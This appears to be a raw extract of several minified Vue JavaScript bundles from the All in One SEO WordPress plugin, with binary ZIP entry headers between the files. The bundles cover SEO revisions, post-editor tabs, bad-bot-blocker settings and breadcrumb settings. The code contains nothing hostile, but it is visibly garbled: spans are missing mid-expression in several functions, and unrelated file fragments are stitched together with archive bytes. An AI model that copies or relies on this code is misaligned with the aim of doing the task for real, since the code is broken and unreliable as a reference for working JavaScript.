Revisions",this.$td)}}}},Qd={key:0,class:"aioseo-seo-revisions-metabox"},tc={key:1,class:"aioseo-seo-revisions-sidebar"},ec={class:"aioseo-seo-revisions-sidebar__modal-body"},sc={class:"description"};function oc(t,e,i,s,o,r){const u=a("seo-revisions-list"),c=a("core-blur"),p=a("seo-revisions-upsell"),S=a("core-modal"),C=a("svg-right-arrow-short"),$=a("base-button"),v=a("core-settings-row");return t.$root._data.screenContext==="metabox"?(n(),f("div",Qd,[d(c,null,{default:l(()=>[d(u)]),_:1}),d(p,{"parent-component-context":"metabox"})])):t.$root._data.screenContext==="sidebar"?(n(),f("div",tc,[d(S,{show:s.seoRevisionsStore.modalOpenSidebar,classes:[],onClose:e[0]||(e[0]=b=>s.seoRevisionsStore.modalOpenSidebar=!1)},{headerTitle:l(()=>[w(m(o.strings.seoRevisions),1)]),body:l(()=>[h("div",ec,[d(c,null,{default:l(()=>[d(u)]),_:1}),d(p,{"parent-component-context":"modal"})])]),_:1},8,["show"]),d(v,{align:""},{name:l(()=>[w(m(o.strings.seoRevisions),1)]),description:l(()=>[h("p",sc,m(o.strings.description),1)]),content:l(()=>[d($,{class:"gray small",onClick:e[1]||(e[1]=H(b=>s.seoRevisionsStore.modalOpenSidebar=!0,["stop","exact"]))},{default:l(()=>[d(C,{width:"10"}),w("   "+m(o.strings.button),1)]),_:1})]),_:1})])):g("",!0)}const ae=y(Xd,[["render",oc],["__scopeId","data-v-5273d1c7"]]),ic={setup(){return{licenseStore:O()}},data(){return{license:gt}},components:{SeoRevisions:ae,SeoRevisionsLite:ae},props:{parentComponentContext:String}},rc={class:"aioseo-seo-revisions aioseo-tab-content"};function nc(t,e,i,s,o,r){const u=a("seo-revisions",!0),c=a("seo-revisions-lite");return n(),f("div",rc,[!s.licenseStore.isUnlicensed&&o.license.hasCoreFeature("seo-revisions")?(n(),_(u,{key:0,parentComponentContext:i.parentComponentContext},null,8,["parentComponentContext"])):(n(),_(c,{key:1,parentComponentContext:i.parentComponentContext},null,8,["parentComponentContext"]))])}const ac=y(ic,[["render",nc],["__scopeId","data-v-5e3c402f"]]),lc={__name:"CountBadge",setup(t){const{itemsTotalCount:e}=ce(lt()),i=Qe(()=>99z(e)?(n(),f("span",{key:0,class:E(["aioseo-seo-revisions-count-badge",{"aioseo-seo-revisions-count-badge--ml":s.$root._data.screenContext==="sidebar","aioseo-seo-revisions-count-badge--mr":s.$root._data.screenContext==="metabox","aioseo-seo-revisions-count-badge--sm":99!!i.enabled).length,permission:"aioseo_page_redirects_manage"},{slug:"seoRevisions",icon:"svg-backup",name:this.$t.__("SEO Revisions",this.$td),badge:"seo-revisions-count-badge"},{slug:"advanced",icon:"svg-build",name:this.$t.__("Advanced",this.$td)}];return!this.rootStore.aioseo.integration&&!pt()&&this.postEditorStore.currentPost.context==="post"&&!((e=this.postEditorStore.currentPost.linkAssistant)!=null&&e.isExcludedPost)&&t.splice(3,0,{slug:"linkAssistant",icon:"svg-link-suggestion",name:this.$t.__("Link Assistant",this.$td)}),t},initTab(){return this.getTabs[0].slug},getTabs(){return this.postEditorStore.currentPost.context==="term"||this.postEditorStore.currentPost.isWooCommercePageWithoutSchema?this.tabs.filter(t=>t.slug!=="schema"&&W(this.getTabPermission(t.slug))):this.tabs.filter(t=>W(this.getTabPermission(t.slug))?!0:t.slug==="general"&&(W("aioseo_page_analysis")||W(this.getTabPermission(t.slug))))}},methods:{async processChangeTab(t){if(t!==null&&typeof t=="object"){this.processChangeTab(t.main),this.$nextTick(()=>{this.settingsStore.changeTabSettings({setting:t.main,value:t.sub})});return}switch(this.$root._data.screenContext){case"sidebar":document.querySelectorAll(".components-panel__header").forEach(e=>{const i=t===null?"sticky":"static";e.style.position=i});break;default:this.activeTab=t,this.settingsStore.changeTabSettings({setting:"main",value:t});break}if(this.$root._data.screenContext==="sidebar"&&this.activeTab!==t)switch(this.activeTab=t,await this.$nextTick(),t){case"social":this.postEditorStore.currentPost.modalOpen||(this.settingsStore.changeTabSettings({setting:"modal",value:"social"}),this.postEditorStore.currentPost.modalOpen=!0);break;case"linkAssistant":this.postEditorStore.currentPost.linkAssistant&&!this.postEditorStore.currentPost.linkAssistant.modalOpen&&(this.postEditorStore.currentPost.linkAssistant.modalOpen=!0);break;case"redirects":this.postEditorStore.currentPost.redirects&&!this.postEditorStore.currentPost.redirects.modalOpen&&(this.postEditorStore.currentPost.redirects.modalOpen=!0);break;case"seoRevisions":await this.$nextTick(),!this.seoRevisionsStore.modalOpenSidebar&&(this.licenseStore.isUnlicensed||this.seoRevisionsStore.itemsLimit===0)&&(this.seoRevisionsStore.modalOpenSidebar=!0);break}},maybeResetActiveTab(t){t||this.$root._data.screenContext==="sidebar"&&this.$nextTick(()=>{this.processChangeTab(null)})},closeModal(){this.postEditorStore.currentPost.modalOpen=!1},getTabPermission(t){const e=this.tabs.find(i=>i.slug===t);return typeof e.permission<"u"?e.permission:`aioseo_page_${e.slug}_settings`},getTabName(t){const e=this.tabs.find(i=>i.slug===t);return e==null?void 0:e.name}},mixins:[io],created(){switch(this.modal=nt()["aioseo-modaltab"]||this.modal,this.modal&&(this.settingsStore.changeTabSettings({setting:"modal",value:this.modal}),this.postEditorStore.currentPost.modalOpen=!0,setTimeout(()=>{Lt("aioseo-modaltab")},500)),this.$nextTick(()=>{this.settingsStore.metaBoxTabs.mainSidebar.tab&&this.processChangeTab(this.settingsStore.metaBoxTabs.mainSidebar.tab)}),window.aioseoBus.$on("standalone-update-post",t=>{Object.keys(t).forEach(e=>{this.postEditorStore.currentPost[e]=t[e]})}),this.$root._data.screenContext){case"sidebar":this.activeTab=null;break;default:this.activeTab=nt()["aioseo-tab"]||this.initTab,this.settingsStore.changeTabSettings({setting:"main",value:this.activeTab}),setTimeout(()=>{Lt("aioseo-tab")},500);break}},beforeMount(){const t=document.querySelector(".interface-complementary-area__pin-unpin-item");t&&t!==null&&(t.style.display="block")},mounted(){mt()&&!this.licenseStore.isUnlicensed&&this.watchObjectRevisionsOnSavePost()}},Ic={class:"aioseo-app aioseo-post-settings"},Bc={key:0,class:"aioseo-sidepanel"},Rc=["onClick"],Oc={class:"name"},Dc={key:0,class:"aioseo-tab-title"};function Nc(t,e,i,s,o,r){const u=a("core-main-tabs"),c=a("svg-circle-information-solid"),p=a("svg-caret"),S=a("svg-close"),C=a("alert"),$=a("modal-content"),v=a("core-modal");return n(),f("div",Ic,[t.$root._data.screenContext!=="sidebar"?(n(),_(u,{key:0,tabs:r.getTabs,showSaveButton:!1,active:o.activeTab,internal:"",disableMobile:"",onChanged:e[0]||(e[0]=b=>r.processChangeTab(b))},{"var-tab-icon":l(({tab:b})=>[(n(),_(B(b.icon),{class:E([{warning:b.warning}])},null,8,["class"])),(n(),_(B(b.badge)))]),_:1},8,["tabs","active"])):g("",!0),d(at,{name:"route-fade",mode:"out-in"},{default:l(()=>[t.$root._data.screenContext==="sidebar"&&o.activeTab===null?(n(),f("div",Bc,[(n(!0),f(j,null,et(r.getTabs,(b,k)=>(n(),f("a",{key:k,class:"aioseo-sidepanel-button",href:"#",onClick:H(M=>r.processChangeTab(b.slug),["prevent"])},[(n(),_(B(b.icon),{class:"icon"})),h("div",Oc,m(b.name),1),(n(),_(B(b.badge))),b.warning?(n(),_(c,{key:0,width:"15",height:"15"})):g("",!0),d(p)],8,Rc))),128))])):g("",!0)]),_:1}),d(at,{name:"route-fade",mode:"out-in"},{default:l(()=>[o.activeTab?(n(),f("div",{key:o.activeTab,class:E(["aioseo-tab",{"is-page-builder":!!s.rootStore.aioseo.integration}])},[t.$root._data.screenContext==="sidebar"?(n(),f("div",Dc,[h("span",null,m(r.getTabName(o.activeTab)),1),d(S,{onClick:e[1]||(e[1]=b=>r.processChangeTab(null))})])):g("",!0),this.$root._data.screenContext==="sidebar"?(n(),_(C,{key:1})):g("",!0),(n(),_(B(o.activeTab),{parentComponentContext:"metabox",onChangeTab:e[2]||(e[2]=b=>r.processChangeTab(b))},null,32))],2)):g("",!0)]),_:1}),d(v,{show:s.postEditorStore.currentPost.modalOpen&&t.$root._data.screenContext==="sidebar",onClose:r.closeModal,classes:["aioseo-post-settings-modal"],"modal-name":"preview-snippet-editor"},{headerTitle:l(()=>[w(m(o.strings.modalTitle),1)]),body:l(()=>[d($)]),_:1},8,["show","onClose"])])}const Vc=y(Hc,[["render",Nc]]),Uc={setup(){return{postEditorStore:P()}},components:{Alert:Te,MainView:Vc},mixins:[ss],data(){return{scrollContainer:".interface-interface-skeleton__content",scrollTimeout:1e3,ScrollAndHighlightTimeout:2e3}}};function Kc(t,e,i,s,o,r){const u=a("alert"),c=a("main-view");return n(),f("div",{onClick:e[0]||(e[0]=H(()=>{},["stop"]))},[this.$root._data.screenContext!=="sidebar"?(n(),_(u,{key:0})):g("",!0),s.postEditorStore.currentPost.id?(n(),_(c,{key:1})):g("",!0)])}const Uh=y(Uc,[["render",Kc]]);export{Uh as A}; PKÉ—[({label:`${e.label} Archives`,name:`${e.name}Archive`,icon:"dashicons-category",singular:e.singular,dynamic:!0})))}},methods:{processChangeTab(e,n){this.internalDebounce||(this.internalDebounce=!0,this.settingsStore.changeTab({slug:`${e}Archives`,value:n}),setTimeout(()=>{this.internalDebounce=!1},50))},getOptions(e){return e.dynamic?this.optionsStore.dynamicOptions.searchAppearance.archives[e.name.replace("Archive","")]:this.optionsStore.options.searchAppearance.archives[e.name]}}},O={class:"aioseo-search-appearance-archives"};function j(e,n,F,r,u,a){const h=i("core-main-tabs"),d=i("core-card");return o(),c("div",O,[(o(!0),c(D,null,x(a.getArchives,(t,_)=>(o(),p(d,{key:_,slug:`${t.name}Archives`},{header:s(()=>[m("div",{class:$(["icon dashicons",e.getPostIconClass(t.icon)])},null,2),m("div",null,k(t.label),1)]),tabs:s(()=>[l(h,{tabs:u.tabs,showSaveButton:!1,active:r.settingsStore.settings.internalTabs[`${t.name}Archives`],internal:"",onChanged:g=>a.processChangeTab(t.name,g)},null,8,["tabs","active","onChanged"])]),default:s(()=>[l(B,{name:"route-fade",mode:"out-in"},{default:s(()=>[(o(),p(P(r.settingsStore.settings.internalTabs[`${t.name}Archives`]),{object:t,separator:r.optionsStore.options.searchAppearance.global.separator,options:a.getOptions(t),type:"archives","show-bulk":!1,"no-meta-box":"","include-keywords":""},null,8,["object","separator","options"]))]),_:2},1024)]),_:2},1032,["slug"]))),128))])}const Ce=w(L,[["render",j]]);export{Ce as default}; PKÉ—[ŒMY…ee>all-in-one-seo-pack/dist/Lite/assets/js/_arrayEach.Fgt6pfHj.jsnu„[µü¤function u(n,o){for(var t=-1,e=n==null?0:n.length;++t(n(),o("div",p,[t(r(i))]))}};export{G as default}; PKÉ—[‚Ö0 Aall-in-one-seo-pack/dist/Lite/assets/js/BadBotBlocker.6KphGPZc.jsnu„[µü¤import{a as b,u as _}from"./links.CKSg78-h.js";import{B}from"./Textarea.BirUpna9.js";import{C as g}from"./Caret.Cuasz9Up.js";import{C as f}from"./Card.C6Yzm1Gr.js";import{C as S}from"./SettingsRow.B0N4hwjp.js";import{y as i,c as h,D as r,m as l,o as c,l as d,d as p}from"./vue.esm-bundler.DzelZkHk.js";import{_ as V}from"./_plugin-vue_export-helper.BN1snXvA.js";import"./default-i18n.BtxsUzQk.js";import"./isArrayLikeObject.CkjpbQo7.js";import"./Tooltip.DcUmvaHX.js";import"./index.DX4OhBfI.js";import"./Slide.BfXXFx9A.js";import"./Row.ou4tdPuA.js";const x={setup(){return{optionsStore:b(),rootStore:_()}},components:{BaseTextarea:B,CoreAlert:g,CoreCard:f,CoreSettingsRow:S},data(){return{strings:{badBotBlocker:this.$t.__("Bad Bot Blocker",this.$td),blockBadBotsHttp:this.$t.__("Block Bad Bots using HTTP",this.$td),blockReferralSpamHttp:this.$t.__("Block Referral Spam using HTTP",this.$td),trackBlockedBots:this.$t.__("Track Blocked Bots",this.$td),useCustomBlocklists:this.$t.__("Use Custom Blocklists",this.$td),userAgentBlocklist:this.$t.__("User Agent Blocklist",this.$td),refererBlockList:this.$t.__("Referer Blocklist",this.$td),blockedBotsLog:this.$t.__("Blocked Bots Log",this.$td),logLocation:this.$t.sprintf(this.$t.__("The log for the blocked bots is located here: %1$s",this.$td),'
    '+this.rootStore.aioseo.urls.blockedBotsLogUrl+"")}}}},y={class:"aioseo-tools-bad-bot-blocker"};function C(H,t,L,o,s,R){const a=i("base-toggle"),n=i("core-settings-row"),m=i("base-textarea"),k=i("core-alert"),u=i("core-card");return c(),h("div",y,[r(u,{slug:"badBotBlocker","header-text":s.strings.badBotBlocker},{default:l(()=>[r(n,{name:s.strings.blockBadBotsHttp},{content:l(()=>[r(a,{modelValue:o.optionsStore.options.deprecated.tools.blocker.blockBots,"onUpdate:modelValue":t[0]||(t[0]=e=>o.optionsStore.options.deprecated.tools.blocker.blockBots=e)},null,8,["modelValue"])]),_:1},8,["name"]),r(n,{name:s.strings.blockReferralSpamHttp},{content:l(()=>[r(a,{modelValue:o.optionsStore.options.deprecated.tools.blocker.blockReferer,"onUpdate:modelValue":t[1]||(t[1]=e=>o.optionsStore.options.deprecated.tools.blocker.blockReferer=e)},null,8,["modelValue"])]),_:1},8,["name"]),o.optionsStore.options.deprecated.tools.blocker.blockBots||o.optionsStore.options.deprecated.tools.blocker.blockReferer?(c(),d(n,{key:0,name:s.strings.useCustomBlocklists},{content:l(()=>[r(a,{modelValue:o.optionsStore.options.deprecated.tools.blocker.custom.enable,"onUpdate:modelValue":t[2]||(t[2]=e=>o.optionsStore.options.deprecated.tools.blocker.custom.enable=e)},null,8,["modelValue"])]),_:1},8,["name"])):p("",!0),o.optionsStore.options.deprecated.tools.blocker.blockBots&&o.optionsStore.options.deprecated.tools.blocker.custom.enable?(c(),d(n,{key:1,name:s.strings.userAgentBlocklist},{content:l(()=>[r(m,{minHeight:200,maxHeight:200,modelValue:o.optionsStore.options.deprecated.tools.blocker.custom.bots,"onUpdate:modelValue":t[3]||(t[3]=e=>o.optionsStore.options.deprecated.tools.blocker.custom.bots=e)},null,8,["modelValue"])]),_:1},8,["name"])):p("",!0),o.optionsStore.options.deprecated.tools.blocker.blockReferer&&o.optionsStore.options.deprecated.tools.blocker.custom.enable?(c(),d(n,{key:2,name:s.strings.refererBlockList},{content:l(()=>[r(m,{minHeight:200,maxHeight:200,modelValue:o.optionsStore.options.deprecated.tools.blocker.custom.referer,"onUpdate:modelValue":t[4]||(t[4]=e=>o.optionsStore.options.deprecated.tools.blocker.custom.referer=e)},null,8,["modelValue"])]),_:1},8,["name"])):p("",!0),o.optionsStore.options.deprecated.tools.blocker.blockBots||o.optionsStore.options.deprecated.tools.blocker.blockReferer?(c(),d(n,{key:3,name:s.strings.trackBlockedBots},{content:l(()=>[r(a,{modelValue:o.optionsStore.options.deprecated.tools.blocker.track,"onUpdate:modelValue":t[5]||(t[5]=e=>o.optionsStore.options.deprecated.tools.blocker.track=e)},null,8,["modelValue"]),r(k,{type:"blue",innerHTML:s.strings.logLocation},null,8,["innerHTML"])]),_:1},8,["name"])):p("",!0)]),_:1},8,["header-text"])])}const z=V(x,[["render",C]]);export{z as default}; PKÉ—[ ÓŠ`››<all-in-one-seo-pack/dist/Lite/assets/js/_baseSet.DMEJKZFs.jsnu„[µü¤import{i as l,k as _,l as p}from"./isArrayLikeObject.CkjpbQo7.js";import{c as d,t as m}from"./get.CmvQfcJ_.js";function v(r,s,c,a){if(!l(r))return r;s=d(s,r);for(var o=-1,e=s.length,f=e-1,t=r;t!=null&&++o!!t).map(t=>v.decodeHTMLEntities(G(t)).replace(/#breadcrumb_separator/g,''+this.optionsStore.options.breadcrumbs.separator+"").replace(/#breadcrumb_link/g,"Permalink"));return this.useDefaultTemplate&&!this.optionsStore.options.breadcrumbs.showCurrentItem&&(e=e.slice(0,e.length-1)),e},decodeHTMLEntities:Q}},ae={class:"aioseo-preview-box"},ne={key:0,class:"label"},le={key:0,class:"aioseo-breadcrumb-separator"},ce=["innerHTML"],me=["innerHTML"];function ue(e,t,d,o,r,n){return c(),h("div",ae,[d.label?(c(),h("span",ne,u(d.label)+": ",1)):g("",!0),(c(!0),h(L,null,P(this.getPreviewData(),(p,m)=>(c(),h(L,{key:m},[10&&mt.name===e.name&&t.hierarchical).length},postTypeHasArchive(e){return 0t.name===e.name&&t.hasArchive).length},getPostTypeTemplate(e,t=!0){let d=this.rootStore.aioseo.breadcrumbs.defaultTemplate;return t?d=d.replace(new RegExp("#breadcrumb_label","g"),e.singular):d=d.replace(new RegExp("#breadcrumb_label","g"),"#breadcrumb_post_title_"+e.name),d},getPostTaxonomyOptions(e){return this.rootStore.aioseo.postData.taxonomies.filter(t=>e.taxonomies.includes(t.name)).map(t=>({value:t.name,label:t.label}))},getPostTypeTaxonomy(e){const t=this.rootStore.aioseo.postData.taxonomies.filter(d=>e.taxonomies.includes(d.name));return 0(c(),f(y,{class:"aioseo-breadcrumbs-post-type",name:T.label,key:T.name},{content:a(()=>[b("div",null,[s(p,{"preview-data":n.getPreview(T)},null,8,["preview-data"]),s(S,null,{default:a(()=>[s(w,null,{default:a(()=>[s(m,{class:"current-item"}),_(" "+u(r.strings.useDefaultTemplate),1)]),_:1})]),_:1})])]),_:2},1032,["name"]))),128))])}const he=$(de,[["render",be]]),_e={components:{ContentTypesLite:he,CoreBlur:X,CoreCard:F,CoreMainTabs:Z,CoreProBadge:ee,Cta:te},data(){return{strings:{breadcrumbTemplates:this.$t.__("Breadcrumb Templates",this.$td),breadcrumbTemplatesTooltip:this.$t.__("Override the default template for breadcrumbs on your site using our easy-to-use template editor.",this.$td),ctaButtonText:this.$t.__("Unlock Breadcrumb Templates",this.$td),ctaHeader1:this.$t.sprintf(this.$t.__("Breadcrumb Templates is a %1$s Feature",this.$td),"PRO"),ctaDescription:this.$t.__("Our template editor will allow you to easily customize how breadcrumbs are displayed on your site based on each post type or taxonomy.",this.$td)},features:[this.$t.__("Custom HTML templates",this.$td),this.$t.__("Content Types",this.$td),this.$t.__("Taxonomies",this.$td),this.$t.__("Archives",this.$td)],tab:"ContentTypesLite",tabs:[{slug:"ContentTypesLite",name:this.$t.__("Content Types",this.$td),access:"aioseo_general_settings",pro:!0},{slug:"Taxonomies",name:this.$t.__("Taxonomies",this.$td),access:"aioseo_general_settings",pro:!0},{slug:"Archives",name:this.$t.__("Archives",this.$td),access:"aioseo_general_settings",pro:!0},{slug:"Advanced",name:this.$t.__("Advanced",this.$td),access:"aioseo_general_settings",pro:!0}]}},methods:{}},ge=e=>(W("data-v-5307df34"),e=e(),Y(),e),fe={class:"aioseo-breadcrumbs"},Se={class:"content"},ve=ge(()=>b("br",null,null,-1));function we(e,t,d,o,r,n){const p=l("core-pro-badge"),m=l("core-main-tabs"),w=l("core-blur"),S=l("cta"),y=l("core-card");return c(),h("div",fe,[s(y,{slug:"breadcrumbTemplates"},{header:a(()=>[b("span",null,u(r.strings.breadcrumbTemplates),1),s(p)]),tooltip:a(()=>[_(u(r.strings.breadcrumbTemplatesTooltip),1)]),tabs:a(()=>[b("div",Se,[s(w,null,{default:a(()=>[s(m,{tabs:r.tabs,showSaveButton:!1,active:r.tab,internal:""},null,8,["tabs","active"]),s(N,{name:"route-fade",mode:"out-in"},{default:a(()=>[(c(),f(z(r.tab),{active:r.tab},null,8,["active"]))]),_:1})]),_:1}),s(S,{"cta-link":e.$links.getPricingUrl("breadcrumb-templates","breadcrumb-templates-upsell"),"button-text":r.strings.ctaButtonText,"learn-more-link":e.$links.getUpsellUrl("breadcrumb-templates",null,e.$isPro?"pricing":"liteUpgrade"),"feature-list":r.features},{"header-text":a(()=>[_(u(r.strings.ctaHeader1),1),ve,_(" "+u(r.strings.ctaHeader2),1)]),description:a(()=>[_(u(r.strings.ctaDescription),1)]),_:1},8,["cta-link","button-text","learn-more-link","feature-list"])])]),_:1})])}const D=$(_e,[["render",we],["__scopeId","data-v-5307df34"]]),ye={setup(){const{strings:e}=K({name:"breadcrumbs"});return{licenseStore:E(),optionsStore:B(),rootStore:I(),composableStrings:e}},components:{BaseRadioToggle:j,Breadcrumbs:D,BreadcrumbsLite:D,CoreCard:F,CoreHtmlTagsEditor:re,CoreSettingsRow:A,CoreSettingsSeparator:oe,CoreUiElementSlider:se,Preview:R},data(){return{displayInfo:{block:{copy:"",desc:this.$t.sprintf(this.$t.__('To add this block, edit a page or post and search for the "%1$s - Breadcrumbs" block. %2$s',this.$td),"AIOSEO",this.$links.getDocLink(this.$constants.GLOBAL_STRINGS.learnMore,"breadcrumbsDisplay",!0))},shortcode:{copy:"[aioseo_breadcrumbs]",desc:this.$t.sprintf(this.$t.__("Use the following shortcode to display the current breadcrumbs. %1$s",this.$td),this.$links.getDocLink(this.$constants.GLOBAL_STRINGS.learnMore,"breadcrumbsShortcode",!0))},widget:{copy:"",desc:`${this.composableStrings.visitWidgetsPage} ${this.$links.getDocLink(this.$constants.GLOBAL_STRINGS.learnMore,"breadcrumbsDisplay",!0)}`},php:{copy:"",desc:this.$t.sprintf(this.$t.__("Use the following PHP code anywhere in your theme (in the loop) to display the breadcrumbs. %1$s",this.$td),this.$links.getDocLink(this.$constants.GLOBAL_STRINGS.learnMore,"breadcrumbsFunction",!0))}},strings:{description:this.$t.sprintf(this.$t.__("Breadcrumbs are an essential part of SEO. By default %1$s will automatically add breadcrumbs to the schema markup that we add to your site and you don't need to make any changes for that to work. Breadcrumbs can also be used as a secondary navigation system that tells users where they are on a website relative to the homepage.",this.$td),"AIOSEO"),descriptionTooltip:this.$t.__("The purpose of breadcrumb navigation is to help users navigate around your website. It also helps search engines understand the structure and hierarchy of links on a web page.",this.$td),breadcrumbs:this.$t.__("Breadcrumbs",this.$td),enableBreadcrumbs:this.$t.__("Enable Breadcrumbs",this.$td),showBreadcrumbsOnYourWebsite:this.$t.__("Show Breadcrumbs on Your Website",this.$td),breadcrumbSettings:this.$t.__("Breadcrumb Settings",this.$td),breadcrumbTooltip:this.$t.sprintf(this.$t.__("These settings will affect all the breadcrumbs displayed by %1$s throughout your site.",this.$td),"AIOSEO"),separator:this.$t.__("Separator",this.$td),homepageLink:this.$t.__("Homepage Link",this.$td),homepageLabel:this.$t.__("Homepage label",this.$td),homepageDescription:this.$t.__("Label used for homepage link (first item) in breadcrumbs.",this.$td),breadcrumbPrefix:this.$t.__("Breadcrumb Prefix",this.$td),breadcrumbPrefixDescription:this.$t.__("Prefix for breadcrumb path.",this.$td),archiveFormat:this.$t.__("Archive Format",this.$td),archiveFormatDescription:this.$t.__("Format the label used for archives page.",this.$td),searchResultFormat:this.$t.__("Search Result Format",this.$td),searchResultFormatDescription:this.$t.__("Format the label used for the search results page.",this.$td),errorFormat404:this.$t.__("404 Error Format",this.$td),errorFormat404Description:this.$t.__("Format the label used for the 404 error page.",this.$td),currentItem:this.$t.__("Current Item",this.$td),showCurrentItem:this.$t.__("Show current item",this.$td),linkCurrentItem:this.$t.__("Link current item",this.$td),home:this.$t.__("Home",this.$td),category:this.$t.__("Category",this.$td),subcategory:this.$t.__("Subcategory",this.$td),articleTitle:this.$t.__("Article Title",this.$td),searchKeyword:this.$t.__("search key word goes here",this.$td),categoryName:this.$t.__("Category Name",this.$td),breadcrumbTemplates:this.$t.__("Breadcrumb Templates",this.$td),categoryHierarchy:this.$t.__("Category Hierarchy",this.$td),categoryHierarchyDescription:this.$t.__("Display complete category hierarchy even if not selected on each individual post.",this.$td),blog:this.$t.__("Blog",this.$td),blogCrumb:this.$t.__("Blog Page Title",this.$td),showBlogHome:this.$t.__("Show Blog Home",this.$td)}}},methods:{getRootPreview(){const e=this.optionsStore.options.breadcrumbs.homepageLabel?this.optionsStore.options.breadcrumbs.homepageLabel:"Home";return[this.optionsStore.options.breadcrumbs.breadcrumbPrefix?this.optionsStore.options.breadcrumbs.breadcrumbPrefix:"",this.optionsStore.options.breadcrumbs.homepageLink?e:""].filter(t=>!!t).map(t=>v.decodeHTMLEntities(t))},getPostPreview(){return[...this.getRootPreview(),this.optionsStore.options.breadcrumbs.showBlogHome?"Blog Home":"",this.strings.category,this.strings.subcategory,this.strings.articleTitle].filter(e=>!!e).map(e=>v.decodeHTMLEntities(e))},getArchivePreview(){return[...this.getRootPreview(),this.getArchivesOfText].filter(e=>!!e).map(e=>v.decodeHTMLEntities(e))},getSearchPreview(){return[...this.getRootPreview(),this.getSearchForText].filter(e=>!!e).map(e=>v.decodeHTMLEntities(e))},get404Preview(){return[...this.getRootPreview(),this.optionsStore.options.breadcrumbs.errorFormat404].filter(e=>!!e).map(e=>v.decodeHTMLEntities(e))},sanitizeString:M},computed:{getSearchForText(){return this.optionsStore.options.breadcrumbs.searchResultFormat.replace(new RegExp("#breadcrumb_search_string","g"),`${this.strings.searchKeyword}`)},getArchivesOfText(){return this.optionsStore.options.breadcrumbs.archiveFormat.replace(new RegExp("#breadcrumb_archive_post_type_name","g"),`${this.strings.categoryName}`)},getPagedText(){return this.optionsStore.options.breadcrumbs.pagedFormat.replace(new RegExp("#breadcrumb_format_page_number","g"),"2")},previews(){return[{label:"Post",preview:this.getPostPreview()},{label:"Archive",preview:this.getArchivePreview()},{label:"Search",preview:this.getSearchPreview()},{label:"404",preview:this.get404Preview()}]}}},Te={class:"aioseo-breadcrumbs"},Le={class:"aioseo-settings-row aioseo-section-description"},$e=["innerHTML"],ke={class:"previews-box main-preview"},Be={class:"homepage-link"},Pe={class:"homepage-link-label"},Ce={class:"aioseo-description"},xe={class:"aioseo-description"},He={class:"aioseo-description"},De={class:"aioseo-description"},Ie={class:"aioseo-description"},Ae={class:"aioseo-description first"},Fe={key:0,class:"aioseo-description"};function Re(e,t,d,o,r,n){const p=l("base-toggle"),m=l("core-settings-row"),w=l("core-ui-element-slider"),S=l("core-card"),y=l("preview"),T=l("core-settings-separator"),C=l("base-radio-toggle"),x=l("base-input"),k=l("core-html-tags-editor"),V=l("breadcrumbs-lite"),O=l("breadcrumbs",!0);return c(),h("div",Te,[s(S,{slug:"enableBreadcrumbs","header-text":r.strings.breadcrumbs},{tooltip:a(()=>[_(u(r.strings.descriptionTooltip),1)]),default:a(()=>[b("div",Le,[_(u(r.strings.description)+" ",1),b("span",{innerHTML:e.$links.getDocLink(e.$constants.GLOBAL_STRINGS.learnMore,"breadcrumbsDisplay",!0)},null,8,$e)]),s(m,{name:r.strings.enableBreadcrumbs},{content:a(()=>[s(p,{modelValue:o.optionsStore.options.breadcrumbs.enable,"onUpdate:modelValue":t[0]||(t[0]=i=>o.optionsStore.options.breadcrumbs.enable=i)},null,8,["modelValue"])]),_:1},8,["name"]),o.optionsStore.options.breadcrumbs.enable?(c(),f(w,{key:0,label:r.strings.showBreadcrumbsOnYourWebsite,options:r.displayInfo},null,8,["label","options"])):g("",!0)]),_:1},8,["header-text"]),o.optionsStore.options.breadcrumbs.enable?(c(),f(S,{key:0,slug:"breadcrumbSettings","header-text":r.strings.breadcrumbSettings},{tooltip:a(()=>[_(u(r.strings.breadcrumbTooltip),1)]),default:a(()=>[s(m,{name:e.$constants.GLOBAL_STRINGS.preview},{content:a(()=>[b("div",ke,[(c(!0),h(L,null,P(n.previews,(i,U)=>(c(),f(y,{key:U,"preview-data":i.preview,label:i.label},null,8,["preview-data","label"]))),128))])]),_:1},8,["name"]),s(m,{name:r.strings.separator},{content:a(()=>[s(T,{"options-separator":o.optionsStore.options.breadcrumbs.separator,"onUpdate:separator":t[1]||(t[1]=i=>o.optionsStore.options.breadcrumbs.separator=i),"show-more-slug":"breadcrumbsShowMoreSeparators"},null,8,["options-separator"])]),_:1},8,["name"]),s(m,{name:r.strings.homepageLink},{content:a(()=>[b("div",Be,[s(C,{modelValue:o.optionsStore.options.breadcrumbs.homepageLink,"onUpdate:modelValue":t[2]||(t[2]=i=>o.optionsStore.options.breadcrumbs.homepageLink=i),name:"homepageLink",options:[{label:e.$constants.GLOBAL_STRINGS.off,value:!1,activeClass:"dark"},{label:e.$constants.GLOBAL_STRINGS.on,value:!0}]},null,8,["modelValue","options"]),b("div",Pe,[_(u(r.strings.homepageLabel)+" ",1),s(x,{size:"medium",modelValue:n.sanitizeString(o.optionsStore.options.breadcrumbs.homepageLabel),"onUpdate:modelValue":[t[3]||(t[3]=i=>o.optionsStore.options.breadcrumbs.homepageLabel=n.sanitizeString(i)),t[4]||(t[4]=i=>o.optionsStore.options.breadcrumbs.homepageLabel=i)]},null,8,["modelValue"])])]),b("div",Ce,u(r.strings.homepageDescription),1)]),_:1},8,["name"]),s(m,{name:r.strings.breadcrumbPrefix},{content:a(()=>[s(x,{modelValue:n.sanitizeString(o.optionsStore.options.breadcrumbs.breadcrumbPrefix),"onUpdate:modelValue":t[5]||(t[5]=i=>o.optionsStore.options.breadcrumbs.breadcrumbPrefix=n.sanitizeString(i)),size:"medium"},null,8,["modelValue"]),b("div",xe,u(r.strings.breadcrumbPrefixDescription),1)]),_:1},8,["name"]),0[s(C,{modelValue:o.optionsStore.options.breadcrumbs.showBlogHome,"onUpdate:modelValue":t[6]||(t[6]=i=>o.optionsStore.options.breadcrumbs.showBlogHome=i),name:"showBlogHome",options:[{label:e.$constants.GLOBAL_STRINGS.off,value:!1,activeClass:"dark"},{label:e.$constants.GLOBAL_STRINGS.on,value:!0}]},null,8,["modelValue","options"])]),_:1},8,["name"])):g("",!0),s(m,{name:r.strings.archiveFormat},{content:a(()=>[s(k,{modelValue:n.sanitizeString(o.optionsStore.options.breadcrumbs.archiveFormat),"onUpdate:modelValue":t[7]||(t[7]=i=>o.optionsStore.options.breadcrumbs.archiveFormat=n.sanitizeString(i)),"line-numbers":!1,single:"",checkUnfilteredHtml:"","tags-context":"breadcrumbs-format-archive","minimum-line-numbers":3,showAllTagsLink:!1,"default-tags":["breadcrumb_archive_post_type_name"],tagsDescription:""},null,8,["modelValue"]),b("div",He,u(r.s